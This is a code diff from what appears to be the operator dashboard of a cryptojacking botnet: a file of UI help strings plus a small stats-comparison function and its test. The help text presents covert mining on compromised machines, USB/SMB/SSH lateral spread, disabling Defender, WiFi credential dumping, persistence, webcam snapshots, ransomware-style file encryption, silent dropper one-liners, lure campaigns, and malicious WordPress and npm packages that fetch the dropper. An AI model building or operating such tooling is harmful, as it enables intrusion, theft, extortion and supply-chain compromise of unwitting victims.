expect(text).not.toMatch(/coming soon|TODO|TBD/i);
|
||||
}
|
||||
});
|
||||
});
|
||||
163
server/web/src/help/uiHelp.ts
Normal file
163
server/web/src/help/uiHelp.ts
Normal file
@@ -0,0 +1,163 @@
|
||||
/** Inline help for dashboard, crucible, fleet, build manager, and other operator UI — not forge/calibrate form fields. */
|
||||
export const UI_HELP: Record<string, string> = {
|
||||
dash_fleet_health:
|
||||
'Composite score from online ratio, accept rate, and hashrate activity. Green means the fleet is mining normally; amber or red flags nodes to check on Crucible.',
|
||||
dash_install_funnel:
|
||||
'Shows how many agents connected in the last 7 days, grouped by forged build. USB column counts agents that arrived via USB spread.',
|
||||
dash_operator_audit:
|
||||
'Server-side log of operator actions (logins, forge, remote commands). Last 50 entries; refreshes every minute.',
|
||||
dash_signal_locked:
|
||||
'Live WebSocket link to the control server. When reconnecting, fleet stats may be stale until the signal locks again.',
|
||||
dash_advanced_mode:
|
||||
'Overview hides extra charts, topology, pool status, and the raw matrix stream. Advanced shows the full telemetry deck.',
|
||||
dash_raw_stream:
|
||||
'Full-screen scrolling dump of live WebSocket traffic — useful for debugging agent messages, not day-to-day monitoring.',
|
||||
dash_fleet_hash:
|
||||
'Sum of 15-minute average hashrate across all online Monero (RandomX) miners in the fleet.',
|
||||
dash_est_daily:
|
||||
'Rough USD/day from live fleet hashrate and the cached XMR price. Connect a wallet on Calibrate for pool-reported earnings instead.',
|
||||
dash_accept_rate:
|
||||
'Percentage of submitted shares accepted by the pool. Below ~95% often means bad pool connectivity or misconfigured workers.',
|
||||
dash_nodes_live:
|
||||
'Online agents with an active WebSocket heartbeat versus total registered agents (including offline).',
|
||||
dash_fleet_pipeline:
|
||||
'Setup checklist: forged build exists → agent deployed → node online → hashrate flowing → shares reaching the pool.',
|
||||
dash_pool_stratum:
|
||||
'Upstream pool connections from this control server. LIVE = stratum connected; DEGRADED or DOWN means payout risk.',
|
||||
dash_ai_activity:
|
||||
'Agents with AI Autonomy enabled ask Ollama on this PC for self-healing decisions. Empty until a forged miner reports in.',
|
||||
dash_gpu_rvn:
|
||||
'Ravencoin KawPoW GPU miners detected on online agents. Separate from Monero CPU hashrate above.',
|
||||
dash_xmr_section:
|
||||
'Monero RandomX CPU mining stats for the fleet. GPU Ravencoin rigs appear in the RVN section below when active.',
|
||||
|
||||
crucible_node_roster:
|
||||
'Every registered agent. Click to select; badges show SSH reachability, security posture, patches, and resource pressure.',
|
||||
crucible_heat_map:
|
||||
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
|
||||
crucible_groups:
|
||||
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_tab_ops:
|
||||
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
|
||||
crucible_tab_recon:
|
||||
'Intelligence gathering: posture scans, full system audit, screenshots, camera list, and network discovery.',
|
||||
crucible_tab_files:
|
||||
'Browse, upload, download, and encrypt files on the selected online agent via the remote file browser.',
|
||||
crucible_tab_spread:
|
||||
'Lateral movement and propagation: spread-now, SMB shares, credential vault, and secure wipe.',
|
||||
crucible_tab_tunnels:
|
||||
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
|
||||
crucible_mining_ops:
|
||||
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
|
||||
crucible_resume:
|
||||
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
|
||||
crucible_pause:
|
||||
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
|
||||
crucible_full_audit:
|
||||
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||
crucible_posture_badge:
|
||||
'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
|
||||
crucible_master_terminal:
|
||||
'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
|
||||
crucible_section_agent:
|
||||
'Restart, fetch logs, kill, or fully uninstall the agent process on selected nodes.',
|
||||
crucible_section_system:
|
||||
'OS-level power actions — reboot or shutdown the whole machine, not just the miner.',
|
||||
crucible_section_persistence:
|
||||
'BITS jobs, host-binary hijack, and read-only persistence audits for surviving reboots.',
|
||||
crucible_section_maintenance:
|
||||
'Fleet upgrades, wake-on-LAN, registry read/write, and remote process kill by PID.',
|
||||
crucible_section_intel:
|
||||
'One-click intel pulls: screenshot, processes, netstat, clipboard, WiFi creds, and more.',
|
||||
crucible_section_security:
|
||||
'Post-exploit posture changes — disable Defender or dump saved WiFi passwords.',
|
||||
crucible_section_network:
|
||||
'Connectivity probes, listener tables, patch status, ARP neighbors, and firewall controls.',
|
||||
crucible_section_media:
|
||||
'Live desktop polling, camera enumeration, and per-device webcam snapshots.',
|
||||
crucible_section_files_quick:
|
||||
'Push files to Desktop or a custom path, or pull a remote file into the terminal.',
|
||||
crucible_section_files_advanced:
|
||||
'Delete, move, or secure-wipe paths on selected agents — confirm before destructive ops.',
|
||||
crucible_section_destructive:
|
||||
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
|
||||
crucible_section_spread:
|
||||
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
|
||||
crucible_section_seek:
|
||||
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
|
||||
crucible_section_ssh:
|
||||
'Probe or wake OpenSSH on Windows nodes, plus a quick reference for direct and tunneled SSH.',
|
||||
crucible_section_tunnels:
|
||||
'WAN IP, UPnP hole punch, Cloudflare outbound tunnels, mesh peers, and tunnel stop.',
|
||||
crucible_section_protocol_tunnel:
|
||||
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
|
||||
crucible_section_portfwd:
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
bm_public_build:
|
||||
'Public builds appear on the login page download list without signing in — useful for LAN handoffs.',
|
||||
bm_dropper_oneliner:
|
||||
'One-liner scripts download and silently install the pinned build (or latest if none pinned) from this server.',
|
||||
bm_reforge:
|
||||
'Open Forge with this build\'s settings pre-filled so you can tweak and compile a new revision.',
|
||||
bm_platform_badge:
|
||||
'Target OS baked into the installer: Windows, Linux, macOS, or Universal (multi-OS ZIP).',
|
||||
|
||||
fm_remote_browse:
|
||||
'Live directory listing on the selected agent. Double-click folders to navigate; select files to download or preview text.',
|
||||
fm_upload:
|
||||
'Push a file from your browser to the agent. Set destination path or defaults to current folder + filename.',
|
||||
fm_encrypt_path:
|
||||
'AES-256-GCM encrypt every file at the current path. Irreversible without the key — requires Remote Aggressive Ops.',
|
||||
|
||||
pt_path_tracer:
|
||||
'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
|
||||
pt_agent_chain:
|
||||
'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
|
||||
|
||||
fleet_runtime_policy:
|
||||
'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
|
||||
fleet_runtime_modules:
|
||||
'Hot-load optional agent modules (e.g. crucible ops pack) onto connected workers.',
|
||||
|
||||
spread_funnel_widget:
|
||||
'Campaign install funnel: page hits → downloads → first beacon → mining, per ?c= slug. See Emberwake for full war room.',
|
||||
|
||||
md_overview:
|
||||
'Fast path to a forged agent: pick Ghost, Loud, or Spread, optionally layer a spread profile, then one click builds and exports a kit when needed. Copy install commands from Builds; track campaigns in Emberwake; use Forge when you need every option.',
|
||||
md_operation_chip:
|
||||
'Ghost = stealth worker for quiet LAN installs. Loud = visible logs for lab testing. Spread = universal kit with USB/LAN autospread — pair with a spread profile on the right.',
|
||||
md_spread_profile:
|
||||
'Optional deliverable shape on top of your operation chip — e.g. LAN Kindling adds SMB/SSH spread flags, Desktop Fusion enables media fusion packaging.',
|
||||
md_campaign_identity:
|
||||
'Campaign slug tags every link with ?c= so Emberwake can group hits and beacons. Worker name, control URL, and wallet are the only identity fields you need here.',
|
||||
md_strike_pipeline:
|
||||
'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.',
|
||||
md_equip_strike:
|
||||
'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.',
|
||||
|
||||
ew_overview:
|
||||
'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
|
||||
ew_campaign_setup:
|
||||
'Shared settings for every Emberwake export on this page. Campaign slug tags telemetry; pinned build selects which forged agent gets installed.',
|
||||
ew_campaign_slug:
|
||||
'Short name appended as ?c= on dropper and download URLs. War Room groups hits, downloads, beacons, and hashrate by this slug.',
|
||||
ew_install_links:
|
||||
'Per-platform install one-liners live in Builds. Pin a build there, then copy PowerShell / bash / download URLs for remote deploy.',
|
||||
ew_spread_kit:
|
||||
'Downloads a ZIP of spread-kit templates (README, Deploy scripts, lander assets) with your server URL and campaign slug baked in.',
|
||||
ew_war_room:
|
||||
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||
ew_supply_chain:
|
||||
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||
ew_public_urls:
|
||||
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||
ew_techniques:
|
||||
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
|
||||
ew_shared_notes:
|
||||
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
|
||||
};
|
||||
36
server/web/src/help/wsStatsCoalesce.test.ts
Normal file
36
server/web/src/help/wsStatsCoalesce.test.ts
Normal file
@@ -0,0 +1,36 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { agentStatsUnchanged } from './wsStatsCoalesce';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
|
||||
describe('agentStatsUnchanged', () => {
|
||||
it('returns true when payload matches current agent stats', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
}),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('returns false when hashrate changes', () => {
|
||||
const agent = mockAgent({ hashrate_15s: 100, hashrate_1m: 90, hashrate_15m: 80, cpu_usage_pct: 12 });
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 101,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
70
server/web/src/help/wsStatsCoalesce.ts
Normal file
70
server/web/src/help/wsStatsCoalesce.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { WSStatsUpdate } from '../types/ws';
|
||||
|
||||
/** Returns true when a stats_update payload would not change visible agent fields. */
|
||||
export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (agent.hashrate_15s !== u.hashrate_15s) return false;
|
||||
if (agent.hashrate_1m !== u.hashrate_1m) return false;
|
||||
if (agent.hashrate_15m !== u.hashrate_15m) return false;
|
||||
if (agent.cpu_usage_pct !== u.cpu_usage_pct) return false;
|
||||
if (u.memory_usage_pct !== undefined && agent.memory_usage_pct !== u.memory_usage_pct) return false;
|
||||
if (u.uptime_seconds !== undefined && agent.uptime_seconds !== u.uptime_seconds) return false;
|
||||
if (u.shares_submitted !== undefined && agent.shares_total !== u.shares_submitted) return false;
|
||||
if (u.shares_accepted !== undefined && agent.shares_good !== u.shares_accepted) return false;
|
||||
if (u.listen_port_count !== undefined && agent.listen_port_count !== u.listen_port_count) return false;
|
||||
if (u.dns_drifted !== undefined && agent.dns_drifted !== u.dns_drifted) return false;
|
||||
if (u.cpu_freq_mhz !== undefined && agent.cpu_freq_mhz !== u.cpu_freq_mhz) return false;
|
||||
if (u.cpu_max_mhz !== undefined && agent.cpu_max_mhz !== u.cpu_max_mhz) return false;
|
||||
if (u.cpu_throttle !== undefined && agent.cpu_throttle !== u.cpu_throttle) return false;
|
||||
if (u.cpu_temp_c !== undefined && agent.cpu_temp_c !== u.cpu_temp_c) return false;
|
||||
if (u.disk_free_gb !== undefined && agent.disk_free_gb !== u.disk_free_gb) return false;
|
||||
if (u.disk_total_gb !== undefined && agent.disk_total_gb !== u.disk_total_gb) return false;
|
||||
if (u.disk_free_pct !== undefined && agent.disk_free_pct !== u.disk_free_pct) return false;
|
||||
if (u.gpu_temp_c !== undefined && agent.gpu_temp_c !== u.gpu_temp_c) return false;
|
||||
if (u.gpu_usage_pct !== undefined && agent.gpu_usage_pct !== u.gpu_usage_pct) return false;
|
||||
if (u.gpu_miner_active !== undefined && agent.gpu_miner_active !== u.gpu_miner_active) return false;
|
||||
if (u.gpu_hashrate_15s !== undefined && agent.gpu_hashrate_15s !== u.gpu_hashrate_15s) return false;
|
||||
if (u.gpu_hashrate_1m !== undefined && agent.gpu_hashrate_1m !== u.gpu_hashrate_1m) return false;
|
||||
if (u.gpu_hashrate_15m !== undefined && agent.gpu_hashrate_15m !== u.gpu_hashrate_15m) return false;
|
||||
if (u.gpu_model !== undefined && agent.gpu_model !== u.gpu_model) return false;
|
||||
if (u.ssh_available !== undefined && agent.ssh_available !== u.ssh_available) return false;
|
||||
if (u.posture_score !== undefined && agent.posture_score !== u.posture_score) return false;
|
||||
if (u.last_patch_days !== undefined && agent.last_patch_days !== u.last_patch_days) return false;
|
||||
if (u.defender_rtp !== undefined && agent.defender_rtp !== u.defender_rtp) return false;
|
||||
if (u.firewall_domain !== undefined && agent.firewall_domain !== u.firewall_domain) return false;
|
||||
if (u.firewall_private !== undefined && agent.firewall_private !== u.firewall_private) return false;
|
||||
if (u.firewall_public !== undefined && agent.firewall_public !== u.firewall_public) return false;
|
||||
if (u.reboot_pending !== undefined && agent.reboot_pending !== u.reboot_pending) return false;
|
||||
if (u.agent_elevated !== undefined && agent.agent_elevated !== u.agent_elevated) return false;
|
||||
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
|
||||
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
|
||||
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
|
||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
if (a[i] !== b[i]) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'presence_snapshot',
|
||||
'presence_update',
|
||||
'notes_typing',
|
||||
'emberwake_notes_updated',
|
||||
'emberwake_war_room',
|
||||
'agent_online',
|
||||
'agent_offline',
|
||||
'new_share',
|
||||
'fleet_alert',
|
||||
'command_result',
|
||||
]);
|
||||
Reference in New Issue
Block a user